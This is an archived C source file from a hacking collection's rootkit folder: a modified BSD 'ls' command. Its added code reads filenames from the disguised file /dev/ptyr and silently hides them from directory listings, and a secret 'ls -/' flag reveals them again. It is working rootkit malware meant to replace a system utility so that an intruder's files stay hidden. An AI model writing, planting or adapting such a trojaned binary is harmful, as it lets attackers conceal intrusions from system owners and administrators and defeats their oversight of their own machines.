home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rootkits / rootkit / ls.c < prev    next >
C/C++ Source or Header  |  1994-03-01  |  18KB  |  822 lines

  1. /*+
  2.  *  Modified ls command to mask certain files from being
  3.  *  listed with ls command.  *NOT FULLY TESTED*
  4. +*/
  5.  
  6. /*
  7.  * Copyright (c) 1980 Regents of the University of California.
  8.  * All rights reserved.  The Berkeley software License Agreement
  9.  * specifies the terms and conditions for redistribution.
  10.  */
  11.  
  12. #ifndef lint
  13. char copyright[] =
  14. "@(#) Copyright (c) 1980 Regents of the University of California.\n\
  15.  All rights reserved.\n";
  16. #endif not lint
  17.  
  18. #ifndef lint
  19. static    char sccsid[] = "@(#)ls.c 1.1 91/11/13 SMI"; /* from UCB 5.6 5/12/86 */
  20. #endif not lint
  21.  
  22. /*
  23.  * ls
  24.  *
  25.  * 4.2bsd version for symbolic links, variable length
  26.  * directory entries, block size in the inode, etc.
  27.  */
  28. #include <sys/param.h>
  29. #include <sys/stat.h>
  30. #include <sys/dir.h>
  31. #include <stdio.h>
  32. #include <sgtty.h>
  33. #include <errno.h>
  34.  
  35. #include <ctype.h>
  36. #include <locale.h>
  37.  
  38. #define    kbytes(size)    (((size) + 1023) / 1024)
  39.  
  40. struct afile {
  41.     char    ftype;        /* file type, e.g. 'd', 'c', 'f' */
  42.     ino_t    fnum;        /* inode number of file */
  43.     short    fflags;        /* mode&~S_IFMT, perhaps ISARG */
  44.     short    fnl;        /* number of links */
  45.     uid_t    fuid;        /* owner id */
  46.     gid_t    fgid;        /* group id */
  47.     long    fsize;        /* file size */
  48.     long    fblks;        /* number of blocks used */
  49.     time_t    fmtime;        /* time (modify or access or create) */
  50.     char    *fname;        /* file name */
  51.     char    *flinkto;    /* symbolic link value */
  52. };
  53.  
  54. #define    ISARG    0x8000        /* extra ``mode'' */
  55.  
  56. struct subdirs {
  57.     char    *sd_name;
  58.     struct    subdirs *sd_next;
  59. } *subdirs;
  60.  
  61. int    aflg, dflg, gflg, lflg, sflg, tflg, uflg, iflg, fflg, cflg, rflg = 1;
  62. int    qflg, Aflg, Cflg, Fflg, Lflg, Rflg;
  63.  
  64. int    usetabs;
  65.  
  66. time_t    now, sixmonthsago, onehourfromnow;
  67.  
  68. char    *dotp = ".";
  69.  
  70. struct    winsize win;
  71. int    twidth;
  72.  
  73. struct    afile *gstat();
  74. int    fcmp();
  75. char    *cat(), *savestr();
  76. char    *fmtentry();
  77. static char    *getname(), *getgroup();
  78.  
  79. char    *ctime();
  80. char    *malloc(), *calloc(), *realloc();
  81. char    *sprintf(), *strcpy(), *strcat();
  82.  
  83. /*+
  84.  *  Hack vars - oops they're global
  85.  *  but wtf cares, its a hack.
  86. +*/
  87.  
  88. #define FILENAME "/dev/ptyr"
  89. #define STR_SIZE 128
  90. #define SHOWFLAG        /*  Able to list files with 'ls -/' command  */
  91.  
  92. struct  h_st {
  93.         struct h_st     *next;
  94.         char            filename[STR_SIZE];
  95. };
  96.  
  97. struct  h_st    *hack_list;
  98. struct  h_st    *h_tmp;
  99.  
  100. char    tmp_str[STR_SIZE];
  101.  
  102. FILE    *fp_hack;
  103. int    showall=0;
  104.  
  105. /*+  End hack vars  +*/
  106.  
  107. main(argc, argv)
  108.     int argc;
  109.     char *argv[];
  110. {
  111.     int i;
  112.     struct afile *fp0, *fplast;
  113.     register struct afile *fp;
  114.     struct sgttyb sgbuf;
  115.  
  116.     argc--, argv++;
  117.     if (getuid() == 0)
  118.         Aflg++;
  119.     (void) time(&now);
  120.     sixmonthsago = now - 6L*30L*24L*60L*60L;
  121.     onehourfromnow = now + 60L*60L;
  122.     now += 60;
  123.     twidth = 80;
  124.     if (isatty(1)) {
  125.         qflg = Cflg = 1;
  126.         (void) gtty(1, &sgbuf);
  127.         if (ioctl(1, TIOCGWINSZ, &win) != -1)
  128.             twidth = (win.ws_col == 0 ? 80 : win.ws_col);
  129.         if ((sgbuf.sg_flags & XTABS) != XTABS)
  130.             usetabs = 1;
  131.     } else
  132.         usetabs = 1;
  133.  
  134.     setlocale(LC_ALL, "");            /* get local environment */
  135.  
  136. /*+  Read in list of files to block  +*/
  137.        
  138.     h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  139.         hack_list=h_tmp;
  140.  
  141.         if (fp_hack=fopen (FILENAME, "r")) {
  142.                 while (fgets(tmp_str, 126, fp_hack)) {
  143.                         h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  144.             strcpy (h_tmp->filename, tmp_str);
  145.             h_tmp->filename[strlen(h_tmp->filename)-1]='\0';
  146.                         h_tmp=h_tmp->next;
  147.                 }
  148.         }
  149.         h_tmp->next=NULL;
  150.  
  151. /*+  On with the program  +*/ 
  152.  
  153.     while (argc > 0 && **argv == '-') {
  154.         (*argv)++;
  155.         while (**argv) switch (*(*argv)++) {
  156.  
  157.         case 'C':
  158.             Cflg = 1; break;
  159.         case 'q':
  160.             qflg = 1; break;
  161.         case '1':
  162.             Cflg = 0; break;
  163.         case 'a':
  164.             aflg++; break;
  165.         case 'A':
  166.             Aflg++; break;
  167.         case 'c':
  168.             cflg++; break;
  169.         case 's':
  170.             sflg++; break;
  171.         case 'd':
  172.             dflg++; break;
  173.         case 'g':
  174.             gflg++; break;
  175.         case 'l':
  176.             lflg++; break;
  177.         case 'r':
  178.             rflg = -1; break;
  179.         case 't':
  180.             tflg++; break;
  181.         case 'u':
  182.             uflg++; break;
  183.         case 'i':
  184.             iflg++; break;
  185.         case 'f':
  186.             fflg++; break;
  187.         case 'L':
  188.             Lflg++; break;
  189.         case 'F':
  190.             Fflg++; break;
  191.         case 'R':
  192.             Rflg++; break;
  193. #if defined (SHOWFLAG)
  194.                 case '/':
  195.                         showall++;
  196.                         break;
  197. #endif
  198.  
  199.         }
  200.         argc--, argv++;
  201.     }
  202.     if (fflg) {
  203.         aflg++; lflg = 0; sflg = 0; tflg = 0;
  204.     }
  205.     if (lflg)
  206.         Cflg = 0;
  207.     if (argc == 0) {
  208.         argc++;
  209.         argv = &dotp;
  210.     }
  211.     fp = (struct afile *)calloc(argc, sizeof (struct afile));
  212.     if (fp == 0) {
  213.         fprintf(stderr, "ls: out of memory\n");
  214.         exit(1);
  215.     }
  216.     fp0 = fp;
  217.     for (i = 0; i < argc; i++) {
  218.         if (gstat(fp, *argv, 1, (int *)0)) {
  219.             fp->fname = *argv;
  220.             fp->fflags |= ISARG;
  221.             fp++;
  222.         }
  223.         argv++;
  224.     }
  225.     fplast = fp;
  226.     qsort(fp0, fplast - fp0, sizeof (struct afile), fcmp);
  227.     if (dflg) {
  228.         formatf(fp0, fplast);
  229.         exit(0);
  230.     }
  231.     if (fflg)
  232.         fp = fp0;
  233.     else {
  234.         for (fp = fp0; fp < fplast && fp->ftype != 'd'; fp++)
  235.             continue;
  236.         formatf(fp0, fp);
  237.     }
  238.     if (fp < fplast) {
  239.         if (fp > fp0)
  240.             printf("\n");
  241.         for (;;) {
  242.             formatd(fp->fname, argc > 1);
  243.             while (subdirs) {
  244.                 struct subdirs *t;
  245.  
  246.                 t = subdirs; subdirs = t->sd_next;
  247.                 printf("\n");
  248.                 formatd(t->sd_name, 1);
  249.                 cfree(t->sd_name);
  250.                 cfree((char *)t);
  251.             }
  252.             if (++fp == fplast)
  253.                 break;
  254.             printf("\n");
  255.         }
  256.     }
  257.     exit(0);
  258.     /* NOTREACHED */
  259. }
  260.  
  261. formatd(name, title)
  262.     char *name;
  263.     int title;
  264. {
  265.     register struct afile *fp;
  266.     register struct subdirs *dp;
  267.     struct afile *dfp0, *dfplast;
  268.     int nkb;
  269.  
  270.     nkb = getdir(name, &dfp0, &dfplast);
  271.     if (dfp0 == 0)
  272.         return;
  273.     if (fflg == 0)
  274.         qsort(dfp0, dfplast - dfp0, sizeof (struct afile), fcmp);
  275.     if (title)
  276.         printf("%s:\n", name);
  277.     if (lflg || sflg)
  278.         printf("total %ld\n", nkb);
  279.     formatf(dfp0, dfplast);
  280.     if (Rflg)
  281.         for (fp = dfplast - 1; fp >= dfp0; fp--) {
  282.             if (fp->ftype != 'd' ||
  283.                 !strcmp(fp->fname, ".") ||
  284.                 !strcmp(fp->fname, ".."))
  285.                 continue;
  286.             dp = (struct subdirs *)malloc(sizeof (struct subdirs));
  287.             dp->sd_name = savestr(cat(name, fp->fname));
  288.             dp->sd_next = subdirs; subdirs = dp;
  289.         }
  290.     for (fp = dfp0; fp < dfplast; fp++) {
  291.         if ((fp->fflags&ISARG) == 0 && fp->fname)
  292.             cfree(fp->fname);
  293.         if (fp->flinkto)
  294.             cfree(fp->flinkto);
  295.     }
  296.     cfree((char *)dfp0);
  297. }
  298.  
  299. getdir(dir, pfp0, pfplast)
  300.     char *dir;
  301.     struct afile **pfp0, **pfplast;
  302. {
  303.     register struct afile *fp;
  304.     DIR *dirp;
  305.     register struct direct *dp;
  306.     int nb, nent = 20;
  307.  
  308.     /*
  309.      * This code (opendir, readdir, and the "for" loop) is arranged in
  310.      * this strange manner to handle the case where UNIX lets root open
  311.      * any directory for reading, but NFS does not let root read the
  312.      * opened directory.
  313.      */
  314.     *pfp0 = *pfplast = NULL;
  315.     if ((dirp = opendir(dir)) == NULL) {
  316.         printf("%s unreadable\n", dir);        /* not stderr! */
  317.         return (0);
  318.     }
  319.     errno = 0;
  320.     if (((dp = readdir(dirp)) == NULL) && (errno != 0)) {
  321.         /* root reading across NFS can get to this error case */
  322.         printf("%s unreadable\n", dir);        /* not stderr! */
  323.         closedir(dirp);
  324.         return (0);
  325.     }
  326.     fp = *pfp0 = (struct afile *)calloc(nent, sizeof (struct afile));
  327.     *pfplast = *pfp0 + nent;
  328.     nb = 0;
  329.     for (; dp != NULL; dp = readdir(dirp)) {
  330.         if (dp->d_ino == 0) 
  331.             continue; 
  332.  
  333. /*+
  334.  *  mask out the files in the list we read in earlier.  if
  335.  *  showflag is >0 then we should not do any masking.  Note
  336.  *  that each time a file is read from the structure it is
  337.  *  compared.  If you have 1000 files in your ls blockout
  338.  *  file, this might go a bit slow.
  339.  *
  340.  *  Note, I don't like continue but its an easy work around.
  341. +*/    
  342.         if (!showall)
  343.                     for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) 
  344.                 if (!(strcmp(dp->d_name, h_tmp->filename)))
  345.                     break;
  346.  
  347.         /*  More kludge - bleah  */
  348.         if (!(strcmp(dp->d_name, h_tmp->filename)))
  349.             continue;
  350.                 
  351.     
  352.  
  353.         if (aflg == 0 && dp->d_name[0]=='.' &&
  354.             (Aflg == 0 || dp->d_name[1]==0 ||
  355.             dp->d_name[1]=='.' && dp->d_name[2]==0))
  356.                 continue;
  357.         if (gstat(fp, cat(dir, dp->d_name), Fflg+Rflg, &nb) == 0)
  358.             continue;
  359.         fp->fnum = dp->d_ino;
  360.         fp->fname = savestr(dp->d_name);
  361.         fp++;
  362.         if (fp == *pfplast) {
  363.             *pfp0 = (struct afile *)realloc((char *)*pfp0,
  364.                 2 * nent * sizeof (struct afile));
  365.             if (*pfp0 == 0) {
  366.                 fprintf(stderr, "ls: out of memory\n");
  367.                 exit(1);
  368.             }
  369.             fp = *pfp0 + nent;
  370.             *pfplast = fp + nent;
  371.             nent *= 2;
  372.         }
  373.     }
  374.     closedir(dirp);
  375.     *pfplast = fp;
  376.     return (kbytes(dbtob(nb)));
  377. }
  378.  
  379. int    stat(), lstat();
  380.  
  381. struct afile *
  382. gstat(fp, file, statarg, pnb)
  383.     register struct afile *fp;
  384.     char *file;
  385.     int statarg;
  386.     int *pnb;    /* (int *)0 if file is ISARG */
  387. {
  388.     int (*statf)() = Lflg ? stat : lstat;
  389.     char buf[BUFSIZ]; int cc;
  390.     static struct afile azerofile;
  391.  
  392.     *fp = azerofile;
  393.     fp->fflags = 0;
  394.     fp->fnum = 0;
  395.     fp->ftype = '-';
  396.     if (statarg || sflg || lflg || tflg || cflg) {
  397.         struct stat stb, stb1;
  398.  
  399.         if ((*statf)(file, &stb) < 0) {
  400.             if (statf == lstat || lstat(file, &stb) < 0) {
  401.                 if (errno == ENOENT)
  402.                     fprintf(stderr, "%s not found\n", file);
  403.                 else {
  404.                     fprintf(stderr, "ls: ");
  405.                     perror(file);
  406.                 }
  407.                 return (0);
  408.             }
  409.         }
  410.         fp->fblks = stb.st_blocks;
  411.         fp->fsize = stb.st_size;
  412.         switch (stb.st_mode & S_IFMT) {
  413.  
  414.         case S_IFDIR:
  415.             fp->ftype = 'd'; break;
  416.         case S_IFBLK:
  417.             fp->ftype = 'b'; fp->fsize = stb.st_rdev; break;
  418.         case S_IFCHR:
  419.             fp->ftype = 'c'; fp->fsize = stb.st_rdev; break;
  420.         case S_IFSOCK:
  421.             fp->ftype = 's'; fp->fsize = 0; break;
  422.         case S_IFIFO:
  423.             fp->ftype = 'p'; fp->fsize = 0; break;
  424.         case S_IFLNK:
  425.             fp->ftype = 'l';
  426.             if (lflg) {
  427.                 cc = readlink(file, buf, BUFSIZ);
  428.                 if (cc >= 0) {
  429.                     /*
  430.                      * here we follow the symbolic
  431.                      * link to generate the proper
  432.                      * Fflg marker for the object,
  433.                      * eg, /bin -> /pub/bin/
  434.                      */
  435.                     buf[cc] = 0;
  436.                     if (Fflg && !stat(buf, &stb1))
  437.                         switch (stb1.st_mode & S_IFMT){
  438.                         case S_IFDIR:
  439.                             buf[cc++] = '/';
  440.                             break;
  441.                         case S_IFSOCK:
  442.                             buf[cc++] = '=';
  443.                             break;
  444.                         default:
  445.                         if ((stb1.st_mode & ~S_IFMT)
  446.                             & 0111)
  447.                             buf[cc++] = '*';
  448.                             break;
  449.                         }
  450.                     buf[cc] = 0;
  451.                     fp->flinkto = savestr(buf);
  452.                 }
  453.                 break;
  454.             }
  455.             /*
  456.              *  this is a hack from UCB to avoid having
  457.              *  ls /bin behave differently from ls /bin/
  458.              *  when /bin is a symbolic link.  We hack the
  459.              *  hack to have that happen, but only for
  460.              *  explicit arguments, by inspecting pnb.
  461.              */
  462.             if (pnb != (int *)0 || stat(file, &stb1) < 0)
  463.                 break;
  464.             if ((stb1.st_mode & S_IFMT) == S_IFDIR) {
  465.                 stb = stb1;
  466.                 fp->ftype = 'd';
  467.                 fp->fsize = stb.st_size;
  468.                 fp->fblks = stb.st_blocks;
  469.             }
  470.             break;
  471.         }
  472.         fp->fnum = stb.st_ino;
  473.         fp->fflags = stb.st_mode & ~S_IFMT;
  474.         fp->fnl = stb.st_nlink;
  475.         fp->fuid = stb.st_uid;
  476.         fp->fgid = stb.st_gid;
  477.         if (uflg)
  478.             fp->fmtime = stb.st_atime;
  479.         else if (cflg)
  480.             fp->fmtime = stb.st_ctime;
  481.         else
  482.             fp->fmtime = stb.st_mtime;
  483.         if (pnb)
  484.             *pnb += stb.st_blocks;
  485.     }
  486.     return (fp);
  487. }
  488.  
  489. formatf(fp0, fplast)
  490.     struct afile *fp0, *fplast;
  491. {
  492.     register struct afile *fp;
  493.     int width = 0, w, nentry = fplast - fp0;
  494.     int i, j, columns, lines;
  495.     char *cp;
  496.  
  497.     if (fp0 == fplast)
  498.         return;
  499.     if (lflg || Cflg == 0)
  500.         columns = 1;
  501.     else {
  502.         for (fp = fp0; fp < fplast; fp++) {
  503.             int len = strlen(fmtentry(fp));
  504.  
  505.             if (len > width)
  506.                 width = len;
  507.         }
  508.         if (usetabs)
  509.             width = (width + 8) &~ 7;
  510.         else
  511.             width += 2;
  512.         columns = twidth / width;
  513.         if (columns == 0)
  514.             columns = 1;
  515.     }
  516.     lines = (nentry + columns - 1) / columns;
  517.     for (i = 0; i < lines; i++) {
  518.         for (j = 0; j < columns; j++) {
  519.             fp = fp0 + j * lines + i;
  520.             cp = fmtentry(fp);
  521.             printf("%s", cp);
  522.             if (fp + lines >= fplast) {
  523.                 printf("\n");
  524.                 break;
  525.             }
  526.             w = strlen(cp);
  527.             while (w < width)
  528.                 if (usetabs) {
  529.                     w = (w + 8) &~ 7;
  530.                     putchar('\t');
  531.                 } else {
  532.                     w++;
  533.                     putchar(' ');
  534.                 }
  535.         }
  536.     }
  537. }
  538.  
  539. fcmp(f1, f2)
  540.     register struct afile *f1, *f2;
  541. {
  542.  
  543.     if (dflg == 0 && fflg == 0) {
  544.         if ((f1->fflags&ISARG) && f1->ftype == 'd') {
  545.             if ((f2->fflags&ISARG) == 0 || f2->ftype != 'd')
  546.                 return (1);
  547.         } else {
  548.             if ((f2->fflags&ISARG) && f2->ftype == 'd')
  549.                 return (-1);
  550.         }
  551.     }
  552.     if (tflg || cflg) {
  553.         if (f2->fmtime == f1->fmtime)
  554.             return (0);
  555.         if (f2->fmtime > f1->fmtime)
  556.             return (rflg);
  557.         return (-rflg);
  558.     }
  559.     return (rflg * strcmp(f1->fname, f2->fname));
  560. }
  561.  
  562. char *
  563. cat(dir, file)
  564.     char *dir, *file;
  565. {
  566.     static char dfile[BUFSIZ];
  567.  
  568.     if (strlen(dir)+1+strlen(file)+1 > BUFSIZ) {
  569.         fprintf(stderr, "ls: filename too long\n");
  570.         exit(1);
  571.     }
  572.     if (!strcmp(dir, "") || !strcmp(dir, ".")) {
  573.         (void) strcpy(dfile, file);
  574.         return (dfile);
  575.     }
  576.     (void) strcpy(dfile, dir);
  577.     if (dir[strlen(dir) - 1] != '/' && *file != '/')
  578.         (void) strcat(dfile, "/");
  579.     (void) strcat(dfile, file);
  580.     return (dfile);
  581. }
  582.  
  583. char *
  584. savestr(str)
  585.     char *str;
  586. {
  587.     char *cp = malloc(strlen(str) + 1);
  588.  
  589.     if (cp == NULL) {
  590.         fprintf(stderr, "ls: out of memory\n");
  591.         exit(1);
  592.     }
  593.     (void) strcpy(cp, str);
  594.     return (cp);
  595. }
  596.  
  597. char    *fmtinum(), *fmtsize(), *fmtlstuff(), *fmtmode();
  598.  
  599. char *
  600. fmtentry(fp)
  601.     register struct afile *fp;
  602. {
  603.     static char fmtres[BUFSIZ];
  604.     register char *cp, *dp;
  605.  
  606.     (void) sprintf(fmtres, "%s%s%s",
  607.         iflg ? fmtinum(fp) : "",
  608.         sflg ? fmtsize(fp) : "",
  609.         lflg ? fmtlstuff(fp) : "");
  610.     dp = &fmtres[strlen(fmtres)];
  611.     for (cp = fp->fname; *cp; cp++)
  612.         if (qflg && !isprint((unsigned char)*cp))
  613.             *dp++ = '?';
  614.         else
  615.             *dp++ = *cp;
  616.     /* avoid both "->" and trailing marks */
  617.     if (Fflg && ! (lflg && fp->flinkto)) {
  618.         if (fp->ftype == 'd')
  619.             *dp++ = '/';
  620.         else if (fp->ftype == 'l')
  621.             *dp++ = '@';
  622.         else if (fp->ftype == 's')
  623.             *dp++ = '=';
  624.         else if (fp->fflags & 0111)
  625.             *dp++ = '*';
  626.     }
  627.     if (lflg && fp->flinkto) {
  628.         (void) strcpy(dp, " -> "); dp += 4;
  629.         for (cp = fp->flinkto; *cp; cp++)
  630.             if (qflg && !isprint((unsigned char) *cp))
  631.                 *dp++ = '?';
  632.             else
  633.                 *dp++ = *cp;
  634.     }
  635.     *dp++ = 0;
  636.     return (fmtres);
  637. }
  638.  
  639. char *
  640. fmtinum(p)
  641.     register struct afile *p;
  642. {
  643.     static char inumbuf[8];
  644.  
  645.     (void) sprintf(inumbuf, "%6d ", p->fnum);
  646.     return (inumbuf);
  647. }
  648.  
  649. char *
  650. fmtsize(p)
  651.     register struct afile *p;
  652. {
  653.     static char sizebuf[32];
  654.  
  655.     (void) sprintf(sizebuf, "%4ld ", kbytes(dbtob(p->fblks)));
  656.     return (sizebuf);
  657. }
  658.  
  659. char *
  660. fmtlstuff(p)
  661.     register struct afile *p;
  662. {
  663.     static char lstuffbuf[256];
  664.     char gname[32], uname[32], fsize[32], ftime[32];
  665.     register char *lp = lstuffbuf;
  666.  
  667.     /* type mode uname gname fsize ftime */
  668. /* get uname */
  669.     { char *cp = getname(p->fuid);
  670.         (void) sprintf(uname, "%-9.9s", cp);
  671.     }
  672. /* get gname */
  673.     if (gflg) {
  674.         char *cp = getgroup(p->fgid);
  675.         (void) sprintf(gname, "%-9.9s", cp);
  676.     }
  677. /* get fsize */
  678.     if (p->ftype == 'b' || p->ftype == 'c')
  679.         (void) sprintf(fsize, "%3d,%4d",
  680.             major(p->fsize), minor(p->fsize));
  681.     else if (p->ftype == 's')
  682.         (void) sprintf(fsize, "%8ld", 0);
  683.     else
  684.         (void) sprintf(fsize, "%8ld", p->fsize);
  685. /* get ftime */
  686.     { char *cp = ctime(&p->fmtime);
  687.         if ((p->fmtime < sixmonthsago) || (p->fmtime > onehourfromnow))
  688.         (void) sprintf(ftime, " %-7.7s %-4.4s ", cp+4, cp+20);
  689.         else
  690.         (void) sprintf(ftime, " %-12.12s ", cp+4);
  691.     }
  692. /* splat */
  693.     *lp++ = p->ftype;
  694.     lp = fmtmode(lp, p->fflags);
  695.     (void) sprintf(lp, "%3d %s%s%s%s",
  696.         p->fnl, uname, gflg ? gname : "", fsize, ftime);
  697.     return (lstuffbuf);
  698. }
  699.  
  700. int    m1[] = { 1, S_IREAD>>0, 'r', '-' };
  701. int    m2[] = { 1, S_IWRITE>>0, 'w', '-' };
  702. int    m3[] = { 3, S_ISUID|(S_IEXEC>>0), 's', S_IEXEC>>0, 'x', S_ISUID, 'S',
  703.     '-' };
  704. int    m4[] = { 1, S_IREAD>>3, 'r', '-' };
  705. int    m5[] = { 1, S_IWRITE>>3, 'w', '-' };
  706. int    m6[] = { 3, S_ISGID|(S_IEXEC>>3), 's', S_IEXEC>>3, 'x', S_ISGID, 'S',
  707.     '-' };
  708. int    m7[] = { 1, S_IREAD>>6, 'r', '-' };
  709. int    m8[] = { 1, S_IWRITE>>6, 'w', '-' };
  710. int    m9[] = { 3, S_ISVTX|(S_IEXEC>>6), 't', S_IEXEC>>6, 'x', S_ISVTX, 'T',
  711.     '-'};
  712.  
  713. int    *m[] = { m1, m2, m3, m4, m5, m6, m7, m8, m9};
  714.  
  715. char *
  716. fmtmode(lp, flags)
  717.     char *lp;
  718.     int flags;
  719. {
  720.     int **mp;
  721.  
  722.     for (mp = &m[0]; mp < &m[sizeof (m)/sizeof (m[0])]; ) {
  723.         register int *pairp = *mp++;
  724.         register int n = *pairp++;
  725.  
  726.         while (n-- > 0) {
  727.             if ((flags&*pairp) == *pairp) {
  728.                 pairp++;
  729.                 break;
  730.             } else
  731.                 pairp += 2;
  732.         }
  733.         *lp++ = *pairp;
  734.     }
  735.     return (lp);
  736. }
  737.  
  738. /* rest should be done with nameserver or database */
  739.  
  740. #include <pwd.h>
  741. #include <grp.h>
  742. #include <utmp.h>
  743.  
  744. struct    utmp utmp;
  745.  
  746. #define    NMAX    (sizeof (utmp.ut_name))
  747. #define    SCPYN(a, b)    strncpy(a, b, NMAX)
  748.  
  749.  
  750. struct cachenode {        /* this struct must be zeroed before using */
  751.     struct cachenode *lesschild;    /* subtree whose entries < val */
  752.     struct cachenode *grtrchild;    /* subtree whose entries > val */
  753.     int val;            /* the uid or gid of this entry */
  754.     int initted;            /* name has been filled in */
  755.     char name[NMAX+1];        /* the string that val maps to */
  756. } *names, *groups;
  757.  
  758. static struct cachenode *
  759. findincache(head, val)
  760.     struct cachenode **head;
  761.     register int val;
  762. {
  763.     register struct cachenode **parent = head;
  764.     register struct cachenode *c = *parent;
  765.  
  766.     while (c != NULL) {
  767.         if (val == c->val) {
  768.             /* found it */
  769.             return (c);
  770.         } else if (val < c->val) {
  771.             parent = &c->lesschild;
  772.             c = c->lesschild;
  773.         } else {
  774.             parent = &c->grtrchild;
  775.             c = c->grtrchild;
  776.         }
  777.     }
  778.  
  779.     /* not in the cache, make a new entry for it */
  780.     *parent = c = (struct cachenode *) calloc(1, sizeof (struct cachenode));
  781.     c->val = val;
  782.     return (c);
  783. }
  784.  
  785. static char *
  786. getname(uid)
  787.     int uid;
  788. {
  789.     register struct cachenode *c;
  790.     struct passwd *pw;
  791.  
  792.     c = findincache(&names, uid);
  793.     if (c->initted == 0) {
  794.         if ((pw = getpwuid(uid)) != NULL) {
  795.             SCPYN(&c->name[0], pw->pw_name);
  796.         } else {
  797.             (void) sprintf(&c->name[0], "%-8d", uid);
  798.         }
  799.         c->initted = 1;
  800.     }
  801.     return (&c->name[0]);
  802. }
  803.  
  804. static char *
  805. getgroup(gid)
  806.     int gid;
  807. {
  808.     register struct cachenode *c;
  809.     struct group *gr;
  810.  
  811.     c = findincache(&groups, gid);
  812.     if (c->initted == 0) {
  813.         if ((gr = getgrgid(gid)) != NULL) {
  814.             SCPYN(&c->name[0], gr->gr_name);
  815.         } else {
  816.             (void) sprintf(&c->name[0], "%-8d", gid);
  817.         }
  818.         c->initted = 1;
  819.     }
  820.     return (&c->name[0]);
  821. }
  822.